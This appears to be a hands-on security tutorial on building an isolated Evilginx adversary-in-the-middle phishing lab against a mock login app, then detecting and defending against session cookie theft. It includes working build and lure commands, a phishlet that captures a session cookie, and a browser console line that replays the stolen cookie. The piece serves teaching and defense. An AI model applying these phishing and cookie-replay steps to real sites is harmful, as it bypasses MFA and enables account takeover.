Build an AiTM Phishing Lab with Evilginx: Understanding Session Cookie Theft and Detection

TL;DR: How Evilginx Steals Sessions and How You Detect It

Evilginx is an adversary-in-the-middle (AiTM) framework that proxies the real login page to a victim, capturing both credentials and session cookies as they flow through the attacker’s server — defeating MFA entirely. Detection hinges on three signal classes: impossible-travel and token-replay anomalies, lookalike-domain and certificate-pattern infrastructure indicators, and reverse-proxy TLS fingerprints.

Traditional phishing defense assumed attackers would steal a password and get stopped at the MFA gate. AiTM kits like Evilginx, EvilProxy, and Tycoon 2MF throw that assumption out the window — the attacker doesn’t guess your token, they consume it for you. This guide walks you through building a fully isolated Evilginx phishing lab so you can see the attack mechanics firsthand, then flips to the blue-team side: the detection signals that actually catch session theft.

Prerequisites and Lab Safety Rules

Before you touch Evilginx, internalize the boundary. Evilginx is a dual-use offensive tool; running it against real domains, real accounts, or any system you don’t own is a criminal offense in most jurisdictions — unauthorized computer access under laws like the U.S. Computer Fraud and Abuse Act or the UK Computer Misuse Act. CISA’s advisory on AiTM phishing (AA22-280A) documents the real-world damage these kits cause; don’t add to it.

Your lab safety rules:

• Full network isolation. Use a host-only or internal-only virtual network in VirtualBox, VMware, or Hyper-V. No NAT, no bridged interfaces, no internet access from the lab subnet.
• Own every asset. The target app, the “victim” account, the phishing domain (a lab-only local domain like lab.local), and DNS must all be yours.
• Snapshot before you run. Take VM snapshots so you can roll back and re-run the phish cleanly.
• No real credentials. Use throwaway lab accounts. Never reuse a real password, even in a lab.

Lab Architecture: Attacker Box, Victim VM, and a Mock Login App

You need three nodes on an isolated subnet — say 192.168.56.0/24 in host-only mode:

• Attacker box (Kali or any Debian-based Linux): runs Evilginx, hosts your local authoritative DNS.
• Victim VM (Windows or Linux desktop): runs the browser you’ll phish. DNS points at the attacker box.
• Target server: your mock login application. Any simple app with session cookies works — a Flask app with flask-login, or a Node/Express app with express-session. Give it a username/password form, an MFA-style second step (a static OTP is fine), and issue a session cookie on success.

The mock app is deliberate. Practicing against a local application teaches you phishlet mechanics — proxy rules, domain substitution, cookie capture — without touching a real identity provider. Map app.lab.local to the target server and login.lab.local (your phishing hostname) to the attacker box in a lab DNS zone (dnsmasq on the attacker box works well).

Installing and Configuring Evilginx

Evilginx is written in Go; install Go 1.20+, then clone and build:

git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets

Key configuration concepts:

• phishlets: YAML files defining the proxied target — hostnames, TLS, subfilters, and captured cookies.
• domain: set to your lab domain (evilginx config domain lab.local).
• ip: the attacker box IP (evilginx config ip 192.168.56.10).
• hostname: per-phishlet mapping of the phishing subdomain.

Evilginx normally auto-provisions Let’s Encrypt certificates; in an offline lab, use its -developer mode and self-signed certs, then import the CA into the victim browser’s trust store.

Writing a Custom Phishlet for Your Mock App

A phishlet is a YAML config defining the target domain, proxy hosts, subfilters, and which auth cookies the kit should capture. A minimal skeleton for your mock app:

name: labapp
proxy_domains:
  - phishing_host: login.lab.local
    target_domain: app.lab.local
subfilters:
  - hostname: app.lab.local
    search: https://app.lab.local
    replace: https://login.lab.local
auth_tokens:
  - domain: app.lab.local
    keys: ["session"]
    type: cookie

What each section does:

• proxy_domains maps the phishing hostname to the real target. Traffic to login.lab.local is transparently relayed to app.lab.local.
• subfilters rewrite the response body — any embedded absolute URLs pointing at the real domain get substituted so the victim never leaves your proxy. If the app posts to a different path or references assets by hostname, add rules to match.
• auth_tokens tells Evilginx which cookies to harvest. Here, the session cookie is the entire game — that’s the stolen session.

Activate with evilginx phishlets hostname labapp login.lab.local and evilginx lures create labapp. The lure URL is your phishing link.

Running the Phish: Victim Login Walkthrough

On the victim VM, open the browser and hit the lure URL. What happens next is the whole AiTM lesson:

1. The victim sees the genuine login page — pixel-identical, because it is the real page, fetched live from your mock app through the proxy.
2. Victim enters credentials. They go to Evilginx, which logs them and forwards them upstream.
3. Your app issues its static OTP challenge. Same deal — victim types it into the proxied page; Evilginx relays it and logs it.
4. The app sets the session cookie. Evilginx captures it via the auth_tokens rule, then passes it to the victim’s browser so the login completes normally.

Evilginx output at capture looks like this (trimmed):

[2025-01-14 10:42:07] [labapp] hostname : login.lab.local
[2025-01-14 10:42:19] session_id : r4nd0ms3ss10n1d
[2025-01-14 10:42:19] username   : victim1
[2025-01-14 10:42:19] password   : LabPass!2025
[2025-01-14 10:42:31] [auth] captured cookie: session=eyJhbGci... (domain: app.lab.local)

Copy the session with evilginx sessions get 1. Note the absence of any error, delay, or anomaly on the victim side — that’s the problem in a nutshell.

Replaying the Stolen Session Cookie

Now demonstrate hijacking. On the attacker box — or anywhere with network reach to the target, which is exactly the point — open a browser and import the cookie. A cookie editor extension or the browser devtools console works:

document.cookie = "session=eyJhbGci...; path=/; domain=app.lab.local";

Navigate to the app. You’re in. No credentials, no OTP prompt, no MFA push. The application cannot distinguish you from the victim — your session cookie is the victim as far as it’s concerned. This is session hijacking via token theft, mapped by OWASP to the Session Side Effects and authentication-bypass patterns in its Session Management Cheat Sheet (owasp.org).

Why MFA Doesn’t Stop AiTM Attacks

Here’s the mechanism, precisely. Standard MFA — TOTP codes, push approvals, SMS OTP — authenticates a login flow, not a session. Because Evilginx sits in the middle of the flow, the MFA challenge is consumed by the attacker on the victim’s behalf. The victim types the code into a real-looking page; the code reaches the real IdP through the proxy; the resulting session token flows back through the attacker’s hands before reaching the victim. The attacker then reuses the token in their own browser.

MFA was never designed to withstand this. It verifies that someone holding the user’s second factor is present during login — and the attacker made sure they were, just via a proxy. Phishing-resistant methods (covered below) fail closed because they cryptographically bind the ceremony to the legitimate origin, which the proxy cannot fake.

Detection Signal 1: Session Anomalies and Impossible Travel

The attacker won the login; they still have to use the session — and that’s where telemetry shows up:

• Token replay from a new IP/UA. The stolen session is used from an IP address, autonomous system, and user-agent that don’t match the original authentication. Correlate sign-in logs with subsequent activity logs — Entra ID sign-in logs, Okta System Log — and flag sessions where the authenticating IP differs materially from the consuming IP.
• Impossible travel. Sign-in from Frankfurt at 09:00, API calls from a residential proxy in another continent minutes later. Microsoft Entra ID and Okta both ship geo-velocity detections; tune for your VPN baseline to cut false positives.
• Session behavior shift. Sudden change in typical device posture, missing device fingerprint, or a session that authenticates once and immediately begins token-refresh loops.

Microsoft’s detection guidance for AiTM (technique T1557 in MITRE ATT&CK, and T1185 for browser session hijacking) is a solid reference for building these analytics (attack.mitre.org).

Detection Signal 2: Infrastructure and TLS Indicators

Network-level signals appear before the session is ever stolen:

• Lookalike and homoglyph domains. AiTM kits need a domain. Watch certificate transparency logs (crt.sh) for newly issued certs on domains resembling yours — login-secure-sso[.]com patterns are a classic.
• Certificate patterns. Mass-issued Let’s Encrypt certs, short-lived domains, and certificates issued hours before the phishing campaign begins are strong triage signals.
• Reverse-proxy fingerprints. Evilginx and kin run Go TLS stacks behind nginx-like fronts; JA3/JA4 TLS fingerprint mismatches between the claimed browser and the actual client fingerprint reveal proxying. Vendors like Microsoft, Proofpoint, and KnowBe4 all publish AiTM kit fingerprint research worth operationalizing.
• URL inspection. Hover the lure: the phishing hostname differs from the real one. Gateway-level rewriting and browser isolation blunt delivery.

Defenses That Actually Work Against AiTM

Layer these — no single control is sufficient:

• Phishing-resistant MFA (FIDO2/passkeys). WebAuthn binds the credential to the legitimate origin via the challenge/origin check; a proxy cannot replay it. This is the definitive fix. See CISA’s guidance on phishing-resistant MFA (cisa.gov/mfa).
• Conditional access with device compliance. Require a compliant, managed, device-bound identity (Entra ID Conditional Access, Intune compliance, device-bound refresh tokens). A stolen cookie replayed from an unmanaged host gets challenged or blocked.
• Token binding. Device-bound tokens and continuous access evaluation shorten the window where a stolen token is usable.
• Short session lifetimes and reauthentication. Sign-in frequency policies and short refresh-token lifetimes cap the value of any single stolen cookie.
• Awareness plus gateway controls. URL rewriting, phishing-domain intelligence feeds, and reported-phish workflows shrink delivery volume.

Tearing Down the Lab and Further Practice

Clean up properly: revert all VMs to snapshots, delete the lab DNS zone and any imported self-signed CA from the victim’s trust store, and wipe Evilginx session data (~/.evilginx/). Leave nothing running — a forgotten proxy listening on any reachable interface is a risk you don’t want.

Extensions for continued practice:

• Build a detection lab on the same subnet: forward mock-app logs into a SIEM (Wazuh or Splunk Free) and write an impossible-travel rule, then test it with your replayed session.
• Fingerprint the proxy: capture JA3/JA4 hashes from proxied vs. direct traffic and build a detection script.
• Phishlet analysis exercises: read public phishlet files (passive analysis of open-source repos) to understand how kits adapt to new IdPs — defensive intelligence, not offense.
• Implement WebAuthn in your mock app and verify the phishlet breaks — an excellent proof of phishing-resistant MFA for stakeholders.

Frequently Asked Questions

Is it legal to set up an Evilginx lab?

Yes — in a fully isolated lab, against applications and accounts you own. Using Evilginx against real domains, live accounts, or third-party systems is illegal in most jurisdictions under computer misuse and fraud laws. Keep the lab off any network with internet access and use only local domains.

Does MFA protect against Evilginx-style attacks?

No. Standard OTP and push-based MFA are proxied transparently — the attacker consumes the challenge on the victim’s behalf and walks away with the resulting session token. Only phishing-resistant methods like FIDO2/passkeys stop token capture, because they cryptographically bind authentication to the legitimate origin.

How do blue teams detect AiTM phishing?

Session token replay from unfamiliar IPs and user agents, impossible-travel sign-in anomalies, lookalike domains surfacing in certificate transparency logs, and reverse-proxy TLS fingerprints (JA3/JA4 mismatches) are the core signals.

What is a phishlet in Evilginx?

A YAML configuration file defining the target domain, proxy hostnames, body-rewriting subfilters, and which auth cookies the kit should capture. Phishlets are the adaptable payload of the framework — one per targeted identity provider.

What’s the best defense against session cookie theft?

Phishing-resistant MFA (passkeys), device-bound tokens, conditional access with device compliance checks, and short session lifetimes. Layered together, they remove both the initial capture and the replay opportunity.

Related reading

• Wireshark + Scapy Lab: Replay and Dissect Aircraft ADS-B and ACARS Traffic
• Build a PCAP Triage Lab with Zeek and T-Shark: Spot C2 Beacons in Real Traffic

Published by Hmmnm

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the Hmmnm team.

Learning Paths · About Hmmnm · Editorial policy